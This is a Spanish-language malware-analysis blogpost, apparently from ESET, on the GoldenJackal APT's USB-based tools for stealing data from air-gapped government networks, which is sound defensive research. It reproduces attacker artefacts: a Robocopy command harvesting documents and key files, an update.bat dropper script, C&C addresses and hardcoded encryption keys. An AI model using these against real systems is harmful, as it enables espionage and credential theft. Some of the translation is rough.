GoldenJackal: APT de ciberespionaje con capacidad para robar información en redes con air gap

Investigadores de ESET descubrieron una serie de ataques a una organización gubernamental en Europa utilizando herramientas capaces de atacar sistemas con air gap. La campaña, que atribuimos a GoldenJackal, un grupo APT de ciberespionaje dirigido a entidades gubernamentales y diplomáticas, tuvo lugar entre mayo de 2022 y marzo de 2024. Al analizar el conjunto de herramientas desplegadas por el grupo, pudimos identificar un ataque que GoldenJackal llevó a cabo anteriormente, en 2019, contra una embajada del sur de Asia en Bielorrusia que, una vez más, se dirigió a los sistemas de protección aérea de la embajada con herramientas personalizadas.

Este blogpost presenta herramientas previamente no documentadas que atribuimos a GoldenJackal basándonos en la victimología, el código y las similitudes funcionales entre los conjuntos de herramientas.

Puntos clave del blogpost:

• GoldenJackal utilizó un conjunto de herramientas personalizadas para atacar los sistemas con air gap (trampa aérea) en una embajada del sur de Asia en Bielorrusia desde al menos agosto de 2019. En este blogpost, describimos estas herramientas públicamente por primera vez.
• Este blogpost también presenta la primera descripción pública de un conjunto de herramientas altamente modulares que GoldenJackal desplegó en Europa en varias ocasiones entre mayo de 2022 y marzo de 2024 contra una organización gubernamental de la Unión Europea.
• Estos conjuntos de herramientas proporcionan a GoldenJackal un amplio conjunto de capacidades para comprometer y persistir en redes objetivo. Se abusa de los sistemas victimizados para recopilar información de interés, procesar la información, exfiltrar archivos y distribuir archivos, configuraciones y comandos a otros sistemas.
• El objetivo final de GoldenJackal parece ser robar información confidencial, especialmente de máquinas de alto perfil que podrían no estar conectadas a Internet.

Perfil de GoldenJackal

GoldenJackal es un grupo APT activo desde al menos 2019. Su objetivo son entidades gubernamentales y diplomáticas de Europa, Oriente Medio y el sur de Asia. El grupo es poco conocido y solo ha sido descrito públicamente en 2023 por Kaspersky. El conjunto de herramientas conocidas del grupo incluye varios implantes escritos en C#: JackalControl, JackalSteal, JackalWorm, JackalPerInfo y JackalScreenWatcher, todos ellos utilizados para el espionaje.

Resumen

En mayo de 2022, descubrimos un conjunto de herramientas que no podíamos atribuir a ningún grupo APT. Pero una vez que los atacantes utilizaron una herramienta similar a una de las documentadas públicamente por Kaspersky, pudimos profundizar y encontrar una conexión entre el conjunto de herramientas documentado públicamente de GoldenJackal y este nuevo.

Extrapolando la información, logramos identificar un ataque anterior en el que se utilizó el conjunto de herramientas documentado públicamente, así como un conjunto de herramientas más antiguo que también tiene capacidad para atacar sistemas protegidos por air gap. Este blogpost arroja luz sobre los aspectos técnicos de los conjuntos de herramientas no documentados públicamente, y comparte algunas ideas sobre las tácticas, técnicas y procedimientos de GoldenJackal.

Victimología

GoldenJackal ha tenido como objetivo entidades gubernamentales de Europa, Oriente Medio y el sur de Asia. Detectamos herramientas de GoldenJackal en una embajada del sur de Asia en Bielorrusia en agosto y septiembre de 2019, y de nuevo en julio de 2021.

Kaspersky informó de un número limitado de ataques contra entidades gubernamentales y diplomáticas en Oriente Medio y el sur de Asia, a partir de 2020.

Más recientemente, según la telemetría de ESET, una organización gubernamental de la Unión Europea fue atacada repetidamente desde mayo de 2022 hasta marzo de 2024.

Atribución

Todas las campañas que describimos en este blog desplegaron, en algún momento, al menos una de las herramientas atribuidas al grupo GoldenJackal APT por Kaspersky. Como en el caso del informe de Kaspersky, no podemos atribuir las actividades de GoldenJackal a ningún Estado-nación concreto. Sin embargo, hay una pista que podría apuntar hacia el origen de los ataques: en el malware GoldenHowl, el protocolo de C&C se denomina transport_http, que es una expresión típicamente utilizada por Turla (véase nuestro informe ComRat v4) y MoustachedBouncer. Esto puede indicar que los desarrolladores de GoldenHowl son rusoparlantes.

Violación de los sistemas air-gapped

Con el fin de minimizar el riesgo de compromiso, las redes altamente sensibles suelen estar aisladas, es decir, aisladas de otras redes. Por lo general, las organizaciones aíslan sus sistemas más valiosos, como los sistemas de votación y los sistemas de control industrial que gestionan las redes eléctricas. Estas suelen ser precisamente las redes que más interesan a los atacantes.

Como afirmamos en un informe anterior titulado Jumping the air gap: 15 years of nation-state effort (Saltando el air gap: 15 años de esfuerzos de los estados-nación), comprometer una red con air gap requiere muchos más recursos que vulnerar un sistema conectado a Internet, lo que significa que los marcos diseñados para atacar redes con brecha aérea han sido desarrollados hasta ahora exclusivamente por grupos APT. El objetivo de estos ataques es siempre el espionaje, quizás con un toque de sabotaje.

Con el nivel de sofisticación requerido, es bastante inusual que, en cinco años, GoldenJackal haya conseguido crear y desplegar no uno, sino dos conjuntos de herramientas distintos diseñados para comprometer sistemas protegidos por air gap. Esto demuestra la inventiva del grupo. Los ataques contra una embajada del sur de Asia en Bielorrusia utilizaron herramientas personalizadas que sólo hemos visto en ese caso concreto. La campaña utilizó tres componentes principales: GoldenDealer, para enviar ejecutables al sistema interceptado vía USB; GoldenHowl, un backdoor modular con varias funcionalidades; y GoldenRobo, un recolector y filtrador de archivos.

En la última serie de ataques contra una organización gubernamental en Europa, GoldenJackal pasó del conjunto de herramientas original a uno nuevo, altamente modular. Este enfoque modular no sólo se aplicaba al diseño de las herramientas maliciosas (como en el caso de GoldenHowl), sino también a sus funciones: se utilizaban, entre otras cosas, para recopilar y procesar información interesante, distribuir archivos, configuraciones y comandos a otros sistemas, y exfiltrar archivos.

Análisis técnico

Acceso inicial

Hasta ahora, no hemos podido rastrear el vector de compromiso inicial en las campañas vistas en nuestra telemetría. Tenga en cuenta que Kaspersky informó en un blogpost que GoldenJackal utilizó software troyanizado y documentos maliciosos para este fin.

El misterioso conjunto de herramientas de 2019

El primer ataque que hemos atribuido a GoldenJackal, dirigido a una embajada del sur de Asia en Bielorrusia, se produjo en agosto de 2019. El conjunto de herramientas utilizado en este ataque es, hasta donde sabemos, públicamente indocumentado. Solo hemos observado las siguientes herramientas personalizadas una vez, y nunca más:

• Un componente malicioso que puede entregar ejecutables a sistemas con air gap a través de unidades USB. Hemos llamado a este componente GoldenDealer.
• Un backdoor, que hemos denominado GoldenHowl, con varios módulos para capacidades maliciosas.
• Un recolector y exfiltrador de archivos maliciosos, al que hemos llamado GoldenRobo.

En la Figura 1 se muestra una visión general del ataque. El vector de ataque inicial es desconocido, por lo que suponemos que GoldenDealer y un componente de gusano desconocido ya están presentes en un PC comprometido que tiene acceso a Internet. Cada vez que se inserta una unidad USB, el componente desconocido se copia a sí mismo y al componente GoldenDealer en la unidad. Aunque no observamos este componente desconocido, hemos visto componentes con fines similares -como JackalWorm- en otros conjuntos de herramientas utilizados en ataques posteriores realizados por el grupo.

Es probable que este componente desconocido encuentre el último directorio modificado en la unidad USB, lo oculte y se renombre a sí mismo con el nombre de este directorio, lo mismo que hace JackalWorm. También creemos que el componente utiliza un icono de carpeta, para incitar al usuario a ejecutarlo cuando la unidad USB se inserta en un sistema air-gapped, lo que también hace JackalWorm.

Cuando la unidad se inserta de nuevo en el PC conectado a Internet, GoldenDealer toma la información sobre el PC conectado por aire de la unidad USB y la envía al servidor de C&C. El servidor responde con un programa ejecutable que se ejecuta en el PC conectado por aire. El servidor responde con uno o más ejecutables que se ejecutarán en el PC con escucha aérea. Por último, cuando la unidad se inserta de nuevo en el PC con escucha aérea, GoldenDealer extrae los ejecutables de la unidad y los ejecuta. Tenga en cuenta que esta vez no es necesaria la interacción del usuario, porque GoldenDealer ya se está ejecutando.

Hemos observado a GoldenDealer ejecutando GoldenHowl en un PC conectado a Internet. Aunque no hemos observado a GoldenDealer ejecutando directamente GoldenRobo, hemos observado a este último también ejecutándose en el PC conectado, utilizado para tomar archivos de la unidad USB y exfiltrarlos a su servidor de C&C. Debe haber otro componente desconocido que copia los archivos desde el PC conectado a la unidad USB, pero aún no lo hemos observado.

GoldenDealer

Este componente monitoriza la inserción de unidades extraíbles tanto en los PCs con escucha aérea como en los PCs conectados, así como la conectividad a Internet. En función de esta última, puede descargar archivos ejecutables desde un servidor de C&C y ocultarlos en unidades extraíbles, o recuperarlos de estas unidades y ejecutarlos en sistemas que no tengan conectividad.

El programa puede ejecutarse con o sin argumentos. Cuando se ejecuta con argumentos, toma una ruta a un archivo que mueve a una nueva ubicación y luego se ejecuta a través de la API CreateProcessW sin crear una ventana.

Para evitar que se muestren los archivos ocultos en el Explorador de Windows, GoldenDealer crea el valor ShowSuperHidden en la clave de registro HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, y lo establece en cero.

En caso de que GoldenDealer no se esté ejecutando como un servicio, crea e inicia un servicio llamado NetDnsActivatorSharing, y luego sale. Si por alguna razón no se ha podido crear el servicio, la persistencia se consigue creando una entrada en una clave del registro Ejecutar.

La Tabla 1 muestra la lista de archivos de configuración utilizados por GoldenDealer. Estos se encuentran en el directorio desde el que se ejecuta el malware: C:\Windows\TAPI en el ataque observado. En secciones posteriores se ofrecen más detalles sobre estos archivos.

Tabla 1. Archivos de configuración utilizados por GoldenDealer Archivos de configuración utilizados por GoldenDealer

El contenido de los archivos de configuración tiene formato JSON y se almacena cifrado XOR en el disco. El cifrado XOR se realiza byte a byte, con una clave de un byte que se incrementa en función de un multiplicador.

Thread de conectividad de red

Para determinar si un PC está conectado a Internet, GoldenDealer envía una petición GET a https://1.1.1.1/<user_id> cada 15 minutos. Si la conexión falla, o no hay respuesta, se asume que el PC está desconectado. 1. 1.1.1 mapea al DNS resolver de Cloudflare, y el comportamiento esperado es recibir un documento Not Found y un código de estado 404. La parte <user_id> no es relevante aquí, pero se utiliza para la comunicación C&C. GoldenDealer genera este identificador de usuario basado en:

• El nombre de usuario actual como se encuentra a través de la API GetUserNameW.
• El número de serie de la primera unidad lógica disponible en el sistema. Esto no significa necesariamente la unidad donde está instalado el sistema operativo.

Estas dos cadenas se hashean por separado con la función FNV-1a, y los números resultantes se XORean entre sí, obteniendo un número que identifica al usuario.

Para realizar un seguimiento del estado de la conectividad de red, GoldenDealer utiliza una variable global que puede contener cualquiera de los siguientes valores:

• 0 - El malware ha comenzado a ejecutarse y no se ha comprobado la conectividad.
• 1 - El PC no tiene conectividad a Internet.
• 2 - El PC tiene conectividad a Internet.

Si el estado es 2, un thread es señalado para descargar los archivos ejecutables desde el servidor C&C, y otro thread es señalado para copiar los ejecutables a las unidades USB. Un thread para obtener los ejecutables de las unidades y ejecutarlos sólo será señalado cuando el estado sea 1. Cada vez que el estado cambia, el archivo de configuración b8b9-de4d-3b06-9d44 se actualiza con el nuevo valor. Los campos de este archivo son:

• wmk - estado de conectividad de la red.
• qotwnk - número de segundos sin internet. Este valor se incrementa cada 15 minutos y se pone a cero cuando hay conectividad. Puede utilizarse si el malware está configurado para esperar un número mínimo de segundos antes de decidir que el PC no tiene conectividad, pero no hubo ninguna espera en las muestras que observamos.
• ltwnk - desconocido. Este campo no es utilizado por el malware.
• rpk - lista con los hashes de los ejecutables descargados del servidor C&C.

Thread downloader

Este thread comprueba el estado de conectividad de la red cada 30 minutos, y sólo realiza las siguientes acciones si el PC está conectado a Internet. En primer lugar, se envía una petición GET a https://83.24.9[.]124/<user_id>, para que el servidor de C&C sepa que va a recibir otra petición. La respuesta del servidor no se procesa. Si la petición falla, entonces otra petición es enviada a un servidor secundario, http://196.29.32[.]210/<user_id>, probablemente para notificar sobre el fallo, ya que el thread no continúa ejecutándose en este caso. Las URL están codificadas en el malware y no son configurables en las muestras que hemos observado.

Cuando la comunicación tiene éxito, GoldenDealer envía una petición a https://83.24.9[.]124/<user_id>/fc93-10f4-2a68-d548. El servidor responde con una matriz de objetos JSON con los siguientes campos:

• ek - una cadena codificada en base64 que es un archivo ejecutable después de ser decodificado,
• tpik - una matriz de user_ids utilizada para decidir si se ejecutará el ejecutable,
• hek - el hash FNV-1a de ek, y
• apk - fecha y hora en que se obtuvo el ejecutable del servidor C&C.

Los contenidos de los dos últimos campos no son relevantes, porque son calculados por el thread downloader, reemplazando los datos originales enviados por el servidor C&C. En ambos casos, se almacenan como números decimales.

GoldenDealer ejecutará un ejecutable enviado por el servidor si el user_id correspondiente está en la lista tpik, y el hash hek no está en la lista de hashes almacenados en el campo rpk de la configuración. En otras palabras, los PC conectados pueden descargar ejecutables y pasarlos a otros sistemas a través de unidades USB, pero también pueden ejecutar los ejecutables recibidos. Cuando se ejecuta un ejecutable, su hash se añade a la lista rpk, lo que garantiza que sólo será ejecutado una vez por esa víctima. Cada ejecutable se escribe en el directorio de trabajo con el valor de <hek> como nombre de archivo. Todos los objetos JSON con los ejecutables recibidos se almacenan en el disco, en el archivo fb43-138c-2eb0-c651.

Como paso final, el thread downloader recopila información sobre el sistema comprometido y la envía a https://83.24.9[.]124/<user_id>/a1e7-4228-df20-1600. El archivo de configuración 130d-1154-30ce-be1e se actualiza para almacenar también esta información. La Figura 2 muestra parte del objeto JSON con la información enviada al servidor de C&C. Aunque todas las cadenas se envían como matrices de códigos de caracteres decimales, para facilitar la lectura las mostramos como cadenas en la imagen. Por ejemplo, en lugar de lsass.exe, en realidad se envía el valor [108, 115, 97, 115, 115, 46, 101, 120, 101].

Los miembros son:

• iepk - un valor booleano que indica si el proceso GoldenDealer está elevado,
• pclk - un array de procesos en ejecución,
• pglk - una matriz de programas instalados en los directorios Archivos de Programa y Archivos de Programa (x86),
• pik - el user_id,
• sik - información sobre el sistema operativo (incluyendo versión, build, número de service pack; arquitectura; y valores booleanos que indican si el SO se está ejecutando en un servidor, controlador de dominio o estación de trabajo),
• uck - el usuario que está ejecutando el proceso GoldenDealer, y
• ulk - una matriz de todos los usuarios, cada uno con un valor booleano que indica si el usuario tiene privilegios de administrador.

Thread de monitorización USB en PCs conectados

GoldenDealer supervisa la inserción de unidades extraíbles mediante la creación de una ventana titulada defaultWindow con un controlador de eventos personalizado que procesa los dispositivos insertados e ignora todos los demás eventos del sistema.

Una vez que se ha insertado una unidad USB, este subproceso parchea un byte en el registro de arranque maestro (MBR) de esa unidad: busca el desplazamiento donde reside la cadena BOOTMGR y sustituye la primera O por 0. A continuación, comprueba si la segunda O también se ha parcheado a 0 y sale si no es así. El thread USB que se ejecuta en PCs con air-gap hace lo contrario: parchea el segundo O, y comprueba si el primero ya ha sido parcheado. Esto significa que la unidad USB tiene que haber sido insertada tanto en un PC conectado como en un PC "air-gapped" para que la unidad sea procesada.

Si la comprobación tiene éxito, se crea un directorio oculto en la unidad USB, con dos archivos escritos en su interior:

• 37b3-ebe5-568e-0676 - este archivo tiene el mismo contenido que fb43-138c-2eb0-c651 (todos los ejecutables enviados por el servidor C&C). Se utiliza para pasar los ejecutables a los sistemas air-gapped, para su ejecución.
• bc41-ac6f-e55e-61a8 - un archivo con información de los PCs air-gapped. Es creado vacío por este thread, y luego rellenado por el thread USB que se ejecuta en los PCs air-gapped. El contenido de este archivo se anexa al archivo local 130d-1154-30ce-be1e (ver Tabla 1), para ser enviado al servidor C&C por el thread downloader.

thread de monitorización de USB en PCs con conexión por aire

Este thread es complementario al descrito en la sección anterior: toma el archivo 37b3-ebe5-568e-0676 con ejecutables de la unidad USB y copia su contenido en el archivo local fb43-138c-2eb0-c651. También toma el archivo local 130d-1154-30ce-be1e con información sobre el sistema air-gapped y añade su contenido al archivo bc41-ac6f-e55e-61a8 de la unidad USB. El código para obtener información del sistema y ejecutar ejecutables está contenido en este thread.

GoldenHowl

Otra herramienta del conjunto de herramientas 2019 de GoldenJackal es GoldenHowl, un backdoor escrito en Python que consta de varios módulos para funcionalidades maliciosas. Se distribuye como un archivo autoextraíble que contiene binarios y bibliotecas Python legítimos, así como scripts maliciosos. La figura 3 muestra el contenido de uno de estos archivos. Los atacantes renombraron el ejecutable Python -en su versión 2.7.15- como WinAeroModule.exe. Este componente está pensado para ser ejecutado en PCs con conectividad a Internet, dadas sus funcionalidades.

El script inicial de GoldenHowl, denominado core_script en el archivo de configuración del malware, realiza las siguientes acciones:

• desencripta y carga la configuración del malware desde un archivo JSON,
• crea directorios utilizados por el malware, y
• inicia un subproceso para cada módulo.

La configuración del malware se desencripta utilizando el algoritmo Fernet, con la clave codificada _ylmUTbqcx6FxMZ5ZvNxDQZYuNh41yxhKcPJLzxgqEY=. La figura 4 muestra parte de la configuración desencriptada.

La Tabla 2 muestra los módulos Python que hemos observado - en el orden en que aparecen en la configuración - junto con una descripción de sus funcionalidades. Todos los módulos se ejecutan indefinidamente, excepto el módulo persistence_schtasks, que sólo se ejecuta una vez.

Tabla 2. Módulos maliciosos en GoldenHowl Módulos maliciosos en GoldenHowl

Comunicación C&C

Según la configuración de GoldenHowl, cualquier cosa que provenga del servidor C&C se denomina petición, y los archivos que van al servidor C&C representan una respuesta. Cabe señalar que a pesar de esta convención de nomenclatura, GoldenHowl no es un implante pasivo: inicia las conexiones con el servidor de C&C. El módulo transport_http es responsable de la comunicación con el servidor de C&C, y de escribir peticiones y respuestas en directorios específicos. La Tabla 3 muestra los directorios utilizados por GoldenHowl.

Tabla 3. Directorios en la configuración de GoldenHowl

Las peticiones y respuestas tienen nombres de archivo estructurados:

• Solicitud - <client_id><module_id><request_id><request_suffix>
• Respuesta - <client_id><module_id><request_id><response_suffix>

Los campos client_id, request_suffix y response_suffix se especifican en la configuración y son comunes a todos los módulos (véanse ejemplos en la Figura 4). El campo module_id indica qué módulo debe procesar una solicitud o generar una respuesta, y se define en la sección de configuración de cada módulo individual. El campo request_id se genera en el servidor C&C, y vincula las peticiones con las respuestas.

El módulo transport_http envía peticiones GET periódicamente al servidor C&C para comprobar si hay peticiones disponibles. Los campos de configuración específicos de este módulo son

• server_address - dirección del servidor de C&C (observamos 83.24.9[.]124, la misma dirección que el servidor de GoldenDealer),
• server_port - el puerto utilizado para comunicarse con el servidor (observamos 443),
• server_use_ssl - indica si se utilizará HTTP o HTTPS para la comunicación,
• base_timeout_sec - el tiempo mínimo de espera antes de contactar con el servidor C&C, y
• timeout_filename - el nombre de un archivo de texto con un número entre 0 y 3600, para especificar un número diferente de segundos a esperar entre comunicaciones. Este archivo no se incluye con GoldenHowl, pero podría ser colocado por los atacantes con el módulo text_writer.

La dirección utilizada para contactar con el servidor C&C es https://<server_address>:<server_port>/<client_id>/.

GoldenRobo

La última de las herramientas observadas del conjunto de herramientas de 2019, GoldenRobo, es un componente sencillo escrito en Go que ejecuta la utilidad Robocopy para escenificar archivos y enviarlos a su servidor de C&C. Recorre todas las letras de unidad de la A a la Z, intentando acceder a cada unidad. Si tiene éxito, se construye un comando Robocopy:

robocopy <letra_unidad>:\ <carpeta_malware>\1516-fe89-ad12-8102\<letra_unidad> *.doc *.docx *.xls *.xlsx *.ppt *.pptx *.pdf *.rtf *.tif *.jpg *.jpeg *.crt *.key *.p12 *.ovpn *.zip *.rar "" /S /R:0 /MAXAGE:7 /XD <carpeta_malware>\1516-fe89-ad12-8102\\ 1516-fe89-ad12-8102\ "Datos de la aplicación" "Todos los usuarios" "Documentos y configuración" "Configuración local"

Si desglosamos el comando:

• los archivos se copian de drive_letter
• a <carpeta_malware>\1516-fe89-ad12-8102\<letra_de_unidad>\ (por ejemplo: C:\Windows\TAPI\1516-fe89-ad12-8102\C\),
• sólo si los archivos tienen las extensiones .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .rtf, .tif, .jpg, .jpeg, .crt, .key, .p12, .ovpn, .zip o.rar,
• incluidos los subdirectorios(/S),
• no reintentar en copias fallidas(/R:0),
• excluir archivos con más de siete días de antigüedad(/MAXAGE:7), y
• excluir los directorios especificados(/XD).

Los ficheros copiados de todas las unidades se archivan juntos en un fichero ZIP _1423-da77-fe86<mes>-<día> en el mismo directorio donde se está ejecutando GoldenRobo (con <mes> y <día> correspondientes a la fecha actual).

El archivo se envía codificado en base64 a https://83.24.9[.]124/8102/. La última parte de la URL es 8102, que es la misma que el campo client_id en la configuración de GoldenHowl. Esta URL está codificada en GoldenRobo, lo que nos indica que los atacantes compilaron esta versión de GoldenRobo exclusivamente para esta víctima.

El conjunto de herramientas conocido: Anteriormente documentado por Kaspersky

Unas semanas después de desplegar el conjunto de herramientas anterior, GoldenJackal comenzó a utilizar otras herramientas maliciosas en los mismos equipos comprometidos. En septiembre de 2019, observamos la ejecución de scripts PowerShell para descargar el backdoor JackalControl. Este backdoor se utilizó para ejecutar otros scripts PowerShell, para descargar y ejecutar herramientas legítimas como Plink y PsExec.

En varios ataques, entre septiembre de 2019 y enero de 2024, observamos las siguientes herramientas en el arsenal de GoldenJackal:

• JackalControl,
• JackalSteal, un recolector y exfiltrador de archivos, y
• JackalWorm, utilizado para propagar otros componentes maliciosos a través de unidades USB. Hemos observado cómo propagaba el backdoor JackalControl.

Como estos componentes ya han sido documentados por Kaspersky, no los describiremos en este blogpost. Sin embargo, es interesante mencionar que en las primeras versiones de estas herramientas, las URL de los servidores de C&C estaban codificadas en los binarios del malware. En algún momento, GoldenJackal modificó JackalControl y JackalSteal para recibir servidores de C&C como argumentos.

El último conjunto de herramientas: Mantener un punto de apoyo en la red

En mayo de 2022, observamos que GoldenJackal utilizaba un nuevo conjunto de herramientas mientras atacaba una organización gubernamental en Europa. La mayoría de estas herramientas están escritas en Go y proporcionan diversas capacidades, como la recopilación de archivos de unidades USB, la propagación de cargas útiles en la red a través de unidades USB, la exfiltración de archivos y el uso de algunos PC de la red como servidores para entregar diversos archivos a otros sistemas. Además, hemos visto a los atacantes utilizar Impacket para moverse lateralmente por la red.

En los ataques observados, GoldenJackal comenzó a utilizar un enfoque altamente modular, utilizando varios componentes para realizar diferentes tareas. De algunos hosts se abusaba para exfiltrar archivos, otros se utilizaban como servidores locales para recibir y distribuir archivos escenificados o archivos de configuración, y otros se consideraban interesantes para la recolección de archivos, con fines de espionaje. La Figura 5 muestra una clasificación de los componentes que se describen en las siguientes secciones.

En cuanto a la infraestructura de red, no observamos ninguna dirección IP externa en ninguno de los componentes analizados. Los exfiltradores de archivos utilizan servicios de acceso público como Google Drive o servidores SMTP de Outlook.

GoldenUsbCopy

GoldenUsbCopy, que clasificamos como componente de recolección, monitoriza la inserción de unidades USB, y copia archivos interesantes a un contenedor cifrado que se almacena en disco, para ser exfiltrados por otros componentes. Según las cadenas encontradas en el binario, el paquete principal de la aplicación se llama UsbCopy.

Las unidades recién insertadas se detectan creando una ventana con el nombre WindowsUpdateManager, para recibir eventos del sistema y procesarlos con un manejador personalizado. Si el manejador recibe un mensaje WM_DEVICECHANGE, con un tipo de evento DBT_DEVICEARRIVAL, y el tipo de dispositivo es DBT_DEVTYP_VOLUME, esto significa que una nueva unidad está lista para ser procesada. La Figura 6 muestra una comparación lado a lado entre el código descompilado en GoldenUsbCopy y GoldenDealer. Aunque cada uno fue escrito en un lenguaje de programación diferente, podemos ver que el código recupera la letra de la unidad a procesar de la misma manera.

GoldenUsbCopy determina qué archivos procesar desde una unidad USB basándose en una configuración que se almacena encriptada AES en modo CFB en el archivo reports.ini. La clave de 32 bytes para descifrar la configuración está codificada en el malware. Tras el descifrado, la configuración contiene los siguientes campos, en formato JSON:

• outputCipherFilename - ruta completa a un archivo cifrado que actúa como contenedor de otros archivos, como archivos que contienen listados de nombres de archivos de unidades recién insertadas y archivos que se van a exfiltrar,
• RSAKey - una clave pública para cifrar las claves AES que se utilizan para cifrar los archivos que se van a exfiltrar,
• lastDate - no se procesan los archivos que se modificaron por última vez hace más de días que lastDate,
• registryKey - una clave en HKEY_CURRENT_USER que almacenará hashes SHA-256 de archivos ya procesados para exfiltración,
• registryValue - el valor del registro que almacena la lista de hashes,
• maxZIPSize - el tamaño máximo en bytes para outputCipherFilename (más detalles abajo),
• maxFileSize - archivos mayores que maxFileSize, en bytes, no son filtrados, y
• extensionsFile - una lista de extensiones de archivo para la exfiltración (observamos .docx, .pdf, .doc y .odt).

Una vez descifrada la configuración, GoldenUsbCopy espera a que se inserte una unidad USB. Se escribe una lista de todos los archivos de la unidad insertada en un archivo de texto, que luego se archiva en un archivo ZIP, se cifra con AES y se añade a outputCipherFilename. Sólo el contenedor cifrado se escribe en el disco; los pasos intermedios, que implican archivos de texto y archivos, se mantienen en memoria.

Se realiza un procedimiento similar para los archivos de la unidad que cumplen los criterios de exfiltración: estos archivos se archivan juntos conservando su estructura de directorios, se cifran con AES y se añaden a outputCipherFilename. Al seleccionar los archivos que se van a filtrar, se obtiene una lista con hashes SHA-256 del registro. Si el hash de un archivo está en esa lista, el archivo no se exfiltra. Si el hash no está en la lista, se añade, para que el archivo no vuelva a ser exfiltrado.

Siempre que añadir archivos para exfiltrar exceda el maxZIPSize de outputCipherFilename, los archivos sobrantes no se añaden al archivo para exfiltrar, sino que sus rutas se añaden a un archivo de texto que se archiva, encripta y añade a outputCipherFilename.

En cuanto al cifrado, cada archivo individual que se añade al contenedor cifrado se cifra con AES en modo CFB, con una clave y un vector de inicialización (IV) que se generan aleatoriamente sobre la marcha. Tanto la clave como el IV deben almacenarse, pero sólo la clave se cifra con RSAKey. La figura 7 muestra un ejemplo de cómo se almacenan estos campos en el contenedor cifrado.

GoldenUsbGo

Este componente es muy similar a GoldenUsbCopy y parece ser una versión posterior del mismo, basándonos en cuando los observamos en nuestra telemetría y comparando las versiones de Go utilizadas para compilarlos. Sin embargo, GoldenUsbGo logra la misma funcionalidad con una implementación más simple:

• No hay archivo de configuración. Todos los criterios para la selección de archivos están codificados en el malware
  • si el nombre de archivo contiene una palabra específica de una lista, procesa el archivo independientemente de todos los demás criterios (la lista contiene cadenas como pass, login y key),
  • si no, el tamaño del archivo no debe superar los 20 MB,
  • la fecha de la última modificación del archivo no debe ser superior a 14 días, y
  • la extensión del archivo debe ser una de las siguientes: .pdf, .doc, .docx, .sh o .bat.
• La inserción de unidades extraíbles no se controla continuamente. Se comprueba periódicamente una lista codificada de letras de unidad para determinar si tienen un volumen asignado de D:, E:, F:, G: o H:.
• La lista de hashes de archivos ya procesados se mantiene sólo en memoria.
• No hay límite de tamaño para el contenedor cifrado en el que se almacenan los archivos para su extracción.
• Los archivos no se archivan, sino que se comprimen con gzip. Tanto el contenido como el nombre de los archivos se comprimen. La figura 8 muestra cómo se organizan los datos comprimidos antes del cifrado.

La ruta al contenedor cifrado está codificada en el malware:

C:\Usuarios\[redactado]\appdata\local\SquirrelTemp\SquirrelCache.dat

El nombre de usuario codificado en la ruta, redactado anteriormente, junto con la corta lista de unidades y nombres de archivo específicos para procesar, nos indican que GoldenUsbGo fue compilado y adaptado para esta víctima en particular.

Los archivos comprimidos se cifran con AES en modo CFB con la clave codificada Fn$@-fR_*+!13bN5. La estructura es la misma que en GoldenUsbCopy (mostrada en la Figura 7) pero sin la clave AES. Tras comprimir los archivos, GoldenUsbGo genera un listado de todos los archivos de la unidad insertada y lo añade al contenedor cifrado, del mismo modo que los archivos exfiltrados. El nombre de archivo para el listado se forma a partir de la fecha y hora actuales, sustituyendo : por - (por ejemplo, 15 Ene 24 13-21 PST).

GoldenAce

Este componente, que clasificamos como herramienta de distribución en la Figura 5, sirve para propagar otros ejecutables maliciosos y recuperar archivos escaneados a través de unidades USB. Aunque podría utilizarse para atacar sistemas protegidos desde el aire, no está diseñado específicamente para ello, a diferencia de GoldenDealer. Funciona junto con una versión ligera de JackalWorm y algún otro componente desconocido.

GoldenAce comprueba periódicamente las unidades de la lista G:, H:, I:, J:, K:, L:, M:, N:, P:, X:, Y:, y Z:, para encontrar una que esté asignada a un volumen. A continuación, comprueba si existe un directorio basura en la raíz de esa unidad. Si no existe, se crea como oculto, y se copia un fichero llamado update a ese directorio, desde la misma ubicación donde se está ejecutando GoldenAce. El primer directorio en la unidad (en orden alfabético) que no está oculto se establece como oculto, y un archivo llamado actualización se copia a la raíz de la unidad y se renombra como <nombre_del_directorio_oculto>.exe.

El archivo de actualización es en realidad JackalWorm, un ejecutable que utiliza un icono de carpeta, y cuyo propósito es copiar y ejecutar el archivo de actualización en otro sistema donde esté insertada la unidad USB. A diferencia de la versión de JackalWorm descrita por Kaspersky, ésta es muy limitada: no tiene código para monitorizar las inserciones de unidades, y no puede configurarse para realizar diversas acciones. Cuando se ejecuta desde el directorio raíz de una unidad extraíble, abre la carpeta oculta en el Explorador de Windows y escribe un archivo por lotes para ejecutar la carga útil en update. El contenido de este archivo, update.bat, se muestra en la Figura 9.

@echo off copy "<drive_letter>:\\\trash\update" "C:\sers\%username%\AppData\Local\update.exe" "C:\sers\%username%\AppData\Local\update.exe" "<drive_letter>:\\trash" :check1 @tasklist | findstr /i /b "update.exe" >nul
@if %errorlevel%==0 goto check1
@del /f /q /a h "C:\\Users\\%username%\\AppData\\Local\\update.exe"
@del /f /q "C:\\Users\\<username>\\AppData\\Local\\update.bat"

Figura 9. Contenido de update.bat

Podemos ver que update se ejecuta y se elimina, junto con el archivo por lotes, una vez que ha terminado de ejecutarse. Aunque no observamos el contenido del componente update, es probable que recoja ficheros y los esconda en el directorio trash de la unidad extraíble, ya que la ruta a ese directorio se pasa como argumento a update.

Cuando GoldenAce encuentra que el directorio trash ya existe en una unidad, en lugar de copiar los archivos a la unidad, copia los archivos en el directorio trash a C:\ProgramData\Microsoft\Windows\DeviceMetadataCache.

Servidor HTTP

Observamos que el servidor HTTP de Python, empaquetado con PyInstaller, se ejecuta a través de C:\Windows\system32\cmd.exe /K C:\Windows\msahci.cmd. Desafortunadamente, no observamos el contenido del archivo msahci. cmd, por lo que no conocemos los argumentos pasados para la ejecución, como el puerto por el que escucha el servidor.

GoldenBlacklist

Como componente de procesamiento, GoldenBlacklist descarga un archivo encriptado de un servidor local y procesa los mensajes de correo electrónico que contiene, para quedarse sólo con los de interés. A continuación, genera un nuevo archivo para que otro componente lo exfiltre.

La URL para recuperar el archivo inicial está codificada: https://<local_ip_address>/update46.zip. El archivo descargado se guarda como res.out y se descifra mediante AES con la clave codificada k9ksbu9Q34HBKJuzHIuGTfHL9xCzMl53vguheOYA8SiNoh6Jqe62F7APtQ9pE, utilizando un ejecutable OpenSSL legítimo.

